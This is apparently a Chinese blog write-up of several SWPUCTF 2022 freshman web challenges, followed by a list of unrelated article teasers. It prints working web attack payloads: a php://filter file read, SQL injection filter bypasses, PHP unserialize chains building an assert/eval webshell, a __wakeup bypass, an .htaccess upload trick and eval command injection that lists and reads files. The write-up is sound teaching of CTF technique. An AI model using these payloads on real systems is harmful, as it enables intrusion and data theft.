SWPUCTF 2022新生赛部分wp

news2024/11/18 8:44:00
😋大家好,我是YAy_17,是一枚爱好网安的小白。 

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

[SWPUCTF 2022 新生赛]ez_ez_php

substr()函数:substr(string,start,length)

substr() 函数返回字符串的一部分。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

?file=php://filter/read=convert.base64-encode/resource=flag.php

根据回显内容进行base64解码,发现真正的flag在/flag,修改payload即可,将回显内容进行base64解码;得到flag;

[SWPUCTF 2022 新生赛]ez_rce

源码什么都没有,抓个包看一下:发现还是什么都没有;robots.txt文件看一下吧:

访问目标文件:发现

拿工具测试一下就好:

查找flag位置的时候,在根目录下面并没有发现flag,而是在/nss/ctf/flag/flag中:

[SWPUCTF 2022 新生赛]numgame

发现还是看不了源代码,还是抓包看看什么回显:在相应包中发现了js文件:

访问一下看看,文件名有点东西:

在文件内容的最后,发现base64编码的类似flag的东西,base64解码:

首先看到的就是在正则过滤中,没有过滤大小写,因此我们可以通过大写来绕过;其次就是类名加上“::”再加上函数名来访问类中的函数;

http://xxxxx/NsScTf.php?p=Nss2::Ctf //这里要先写Nss::Ctf 回显提示我们类名是Nss2

[SWPUCTF 2022 新生赛]奇妙的MD5

结合题目是有关于md5的,同时界面提示我们:

ffif...?ffifdyop MD5后=='or'6...填上试试先:

过了,看看源码,发现存在着注释:

数组绕过即可;

继续数组绕过即可;

[SWPUCTF 2022 新生赛]xff

抓包修改一下数据包的字段:

[SWPUCTF 2022 新生赛]webdog1__start

源码看一下,抓包再看一下:

这里是传递一个参数为web,web的值经过md5加密之后还是等于(弱类型)web的原值:(0e215962017这个值加密之后还是0e开头)

出现了很多的链接,但是除了第一个链接之外,其他的都404,但是第一个链接打开之后只是一篇文章而已,也不是flag所在的地方啊;抓包看看再:

发现相应包中出现了提示:顺着提示往下做:

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}
?> 

strstr()函数:匹配空格是否在变量get中

str_ireplace("flag", " ", $get);将变量中的flag替换为空格;

所以system("ls%09/");空格用%09替换;system("cat%09/f*");

[SWPUCTF 2022 新生赛]1z_unserialize

<?php

class lyh{
     public $url = 'NSSCTF.com';
     public $lt;
     public $lly;
     function __destruct(){
         $a = $this->lt;
         $a($this->lly);
     }

}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>

看到这里存在着$a($this->lly);便能想到eval($_POST[_]);但是本题目是php5的环境,在此环境下eval不是函数而是一种语法结构;这里我让 public $lt = 'assert'; public $lly = 'eval($_POST[x]);';再进行序列化便可以得到目的:

[SWPUCTF 2022 新生赛]ez_ez_unserialize

 <?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

考察wakeup函数的绕过:只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class X{
    public $x ;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if($this->x !== __FILE__){
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
echo serialize(new X("fllllllag.php"));
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可绕过wakeup函数;

[SWPUCTF 2022 新生赛]Ez_upload

该题目在上传文件的时候,发现需要更改MIME类型为:image/jpeg才行,其他都不行,同时文件名的后缀中不允许带有ph;那么就不能上传php3、pht等;尝试.htaccess文件的上传,发现上传成功;思路就有了,先上传.htaccess文件,再将图片马上传,将图片马解析为php即可;

flag在phpinfo中;

 <?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?>

L1 L2 L3全部存在,即可输出flag;三个条件:

  1. GET方式传递参数num,num的长度不超过3并且num的值必须大于999999999,可以用科学计数法9e9;

  1. GET方式传递参数str,str的值会经过preg_replace()函数,将NSSCTF替换为空,可以参数双写绕过;

  1. md5弱类型绕过即可

[SWPUCTF 2022 新生赛]js_sign

发现无论是输入什么都是弹窗fuck off!! 查看网页源代码:

发现在当前目录下,存在着main.js文件,访问该文件:

btoa()函数是js中的base64编码方法,等号后面便是一串经过base64编码的字符串,我们将其解码看下结果:

发现是敲击码;寻找在线解码平台将flag的值进行解码,提供如下的解码平台:

https://www.wishingstarmoye.com/ctf/tapcode

解码后的结果为:

最终的结果是NSSCTF{youfindflagbytapcode}

[SWPUCTF 2022 新生赛]ez_sql

相对安全的方式传参->POST;参数为nss;

POST方式传递参数值为1试试:

判断sql注入的类型:

字符型注入:接下来在判断列数的时候,发现过滤了空格和or,空格用/**/替换,or双写绕过即可;

同时发现union也被过滤,同样还是使用双写便可以绕过:

接下来就是查数据库,表名、列名、flag:

最终发现flag在secret中:

[SWPUCTF 2022 新生赛]funny_web

用户名是NSS;接下来又提示密码是招新群某个人的qq账号;

成功登录之后:

intval()函数:用于获取变量的整数值;所以我们可以传参一个小数如12345.5即可

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg{
     function fmm(){
        return "nonono";
     }
}
class lt{
     public $impo='hi';
     public $md51='weclome';
     public $md52='to NSS';
     function __construct(){
        $this->impo = new dxg;
     }
     function __wakeup(){
     $this->impo = new dxg;
     return $this->impo->fmm();
     }

     function __toString(){
        if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
            return $this->impo->fmm();
     }
     function __destruct(){
        echo $this;
     }
}
class fin{
     public $a;
     public $url =  'https://www.ctfer.vip';
     public $title;
     function fmm(){
        $b = $this->a;
        $b($this->title);
     }

if(isset($_GET['NSS'])) {
    $Data  =  unserialize($_GET['NSS']);
}else{
     highlight_file(__file__);
}
  1. GET方式传递参数NSS,反序列化NSS

  1. 在类fin中存在着fmm方法,该方法可以执行任意命令;

  1. 类lt中,存在魔术方法tostring,该方法时可以执行fmm方法的;但是需要满足md5弱类型检测;同时变量impo的值需要是fin类;

  1. 因此我们还要让impo变量的值为fin类,同时需要绕过wakeup函数;

$a = new lt();
$a->impo=new fin();
$a->md51='s878926199a';
$a->md52='s155964671a';
$a->impo->a='assert';
$a->impo->title='eval($_POST[x]);';
echo serialize($a);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149465.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法】链表

❤️ Author&#xff1a; 老九 ☕️ 个人博客&#xff1a;老九的CSDN博客 &#x1f64f; 个人名言&#xff1a;不可控之事 乐观面对 &#x1f60d; 系列专栏&#xff1a; 文章目录链表数组转链表链表转数组往链表的前面增加一个节点获得指定位置的值在链表的末尾增加一个节点在…

我最近发现的一些问题。

‍‍ 大家好&#xff0c;我是小z&#xff0c;也可以叫我阿粥~这段时间看了不少分析报告&#xff0c;启发颇多。也发现有一些普遍存在且很容易误导分析师的问题。在聊问题之前&#xff0c;先给大家分享一个&#xff08;我刚写的&#xff09;小故事&#xff1a;有一个学生…

Pytorch 多项式拟合

目录 1、训练误差和泛化误差 2、独立同分布假设 3、欠拟合和过拟合 4、多项式回归 1、训练误差和泛化误差 训练误差&#xff08;training error&#xff09;是指&#xff0c; 模型在训练数据集上计算得到的误差。 泛化误差&#xff08;generalization error&#xff09;是指…

【OpenCV 例程 300篇】255.OpenCV 实现图像拼接

『youcans 的 OpenCV 例程300篇 - 总目录』 【youcans 的 OpenCV 例程 300篇】255.OpenCV 实现图像拼接 6.2 OpenCV 实现图像拼接 OpenCV中图像的数据结构是Numpy数组&#xff0c;使用切片方法可以实现图像的裁剪&#xff0c;使用数组堆叠方法可以实现图像的拼接。 Numpy 函数…

K8S Replication Controller 示例

K8S Replication Controller Replication Controller可确保在任何时间运行指定数量的pod副本。换句话说&#xff0c;ReplicationController确保一个pod或一组同类pod始终处于可用状态。 可以理解为Replication Controller &#xff08;RC&#xff09;是基于 K8S Pod对象之上的…

PR采购申请启用灵活工作流配置

目录 1. 检查系统基础工作流配置 2. 激活标准场景模版 WS02000458 3. 维护收件箱操作按钮文本 4. 维护任务代理及激活事件 5. 配置Inbox审批页面 6. PR灵活工作流启动配置 7. 为流程设置代理人 8. 配置工作流场景 9. 可扩展部分 官方Help文档路径&#xff1a; SAP He…

算法_杨氏矩阵_杨氏矩阵算法_剑指offer

目录 一、问题描述 二、问题分析 三、算法设计 ​四、代码实现 一、问题描述 有一个数字矩阵&#xff0c;矩阵的每行从左到右是递增的&#xff0c;矩阵从上到下是递增的&#xff0c;请编写程序在这样的矩阵中查找某个数字是否存在。 要求&#xff1a;时间复杂度小于O(N);…

【目标检测】Cascade RCNN中的两个常见问题

一、关于mismatch问题 在training阶段和inference阶段使用不同的阈值很容易导致mismatch&#xff0c;什么意思呢&#xff1f; 在training阶段&#xff0c;由于给定了GT&#xff0c;所以可以把与GT的IoU大于阈值的proposals作为正样本&#xff0c;这些正样本参与之后的bbox回归…

【C语言】深入浅出讲解函数栈帧(超详解 | 建议收藏)

&#x1f680;write in front&#x1f680; &#x1f4dd;个人主页&#xff1a;认真写博客的夏目浅石. &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd; &#x1f4e3;系列专栏&#xff1a;凡人修C传 &#x1f4ac;总结&#xff1a;希望你看完之后&…

基于机器学习与协同过滤的图书管理推荐系统

基于机器学习与协同过滤的图书推荐系统 一、系统结构图 二、Demo示例 完整源码可联系博主微信【1257309054】 点我跳转 三、K-means聚类机器学习推荐算法 1、原理 从数据库中 1、首先获取书籍类别 2、获取用户注册时勾选喜欢的类别&#xff0c;勾选的为1&#xff0c;否则…

让 Java Agent 在 Dragonwell 上更好用

本文是《容器中的Java》系列文章之 3/n&#xff0c;欢迎关注后续连载 &#x1f603; 。1 背景 随着越来越多的云原生微服务应用的大规模部署&#xff0c;大家对微服务治理的能力需求越来越强。 Java Agent技术能够让业务专注于业务逻辑&#xff0c;与此同时&#xff0c;中间…

kali渗透测试到底该如何学?

1、渗透测试是什么&#xff1f; 渗透测试&#xff0c;是为了证明网络防御按照预期计划正常运行而提供的一种机制。渗透测试是通过各种手段对目标进行一次渗透&#xff08;攻击&#xff09;&#xff0c;通过渗透来测试目标的安全防护能力和安全防护意识。打个比方&#xff1a;比…

手写spring12(把aop动态代理整合到spring生命周期)

文章目录目标设计项目结构四、实现1、定义Advice拦截器链2、定义Advisor访问者3、方法前置拦截器——MethodBeforeAdviceInterceptor4、代理工厂——ProxyFactory5、融入Bean生命周期的自动代理创建者——InstantiationAwareBeanPostProcessor 、DefaultAdvisorAutoProxyCreato…

什么是3dMax中的“块”?如何在3dMax中使用“块”?

3dMax 块简介 3dMax 是一款用于设计 3d 模型的软件,在 3d 建模图形专业人士中最受欢迎。我们可以在此软件中导入不同类型的预设计 3d 模型,以简化我们的工作。块是不同类型的 3d 模型,您可以从互联网上下载,然后将它们导入到 3dMax 软件的项目工作中,以节省您的时间。在本…

Python和OpenCV创建超快的“for”像素循环

这篇博客将介绍如何使用Python和OpenCV创建超快的“for”像素循环&#xff08;逐像素循环&#xff09;&#xff0c;即Cython快速优化for循环&#xff1b; 使用Python和OpenCV逐像素循环图像是一个非常缓慢的操作&#xff0c;即使图像在内部由NumPy数组表示。 为什么会这样&am…

C语言-指针进阶-qsort函数的学习与模拟实现(9.3)

目录 思维导图&#xff1a; 回调函数 qsort函数介绍 模拟实现qsort 写在最后&#xff1a; 思维导图&#xff1a; 回调函数 什么是回调函数&#xff1f; 回调函数是一个通过函数指针调用的函数。 将一个函数指针作为参数传递给一个函数&#xff0c;当这个指针被用来调用…

57、JDBC和连接池

目录 一、JDBC基本介绍 二、JDBC快速入门 三、JDBC API 1、ResultSet [结果集] 2、Statement 3、PreparedStatement 4、DriverManager 四、封闭JDBCUtils 五、事务 六、批处理 七、数据库连接池 4、数据库连接池种类 &#xff08;1&#xff09; c3p0数据库连接池&…

MacBookPro 遇到pip: command not found问题的解决

学习Pyhton的时候&#xff0c;需要安装第三方插件pyecharts,执行以下命令&#xff1a; pip install pyecharts总是报错 pip: command not found 我很郁闷&#xff0c;于是上网搜索尝试各种命令&#xff0c; 命令1:curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py 命…

Codeforces Round 507(div. 1) C(分类讨论,并查集)

题目链接&#xff1a; Problem - C - Codeforceshttps://codeforces.com/contest/1039/problem/C 题意&#xff1a; 计算机网络由个服务器组成&#xff0c;每个服务器有到范围内的加密秘钥。设是分配给第i台服务器的加密密钥。对服务器通过数据通信通道直接连接。由于加密算…

高性能分布式缓存Redis-第二篇章

高性能分布式缓存Redis-第二篇章一、持久化原理1.1、持久化流程&#xff08;落盘&#xff09;1.2、RDB详解1.2.1、介绍1.2.2、触发&原理1.2.3、实现1.2.4、RDB总结1.3、AOF详解1.3.1、概念1.3.2、AOF 持久化的实现1.3.2、开启1.3.4、命令追加1.3.5、文件写入和同步&#xf…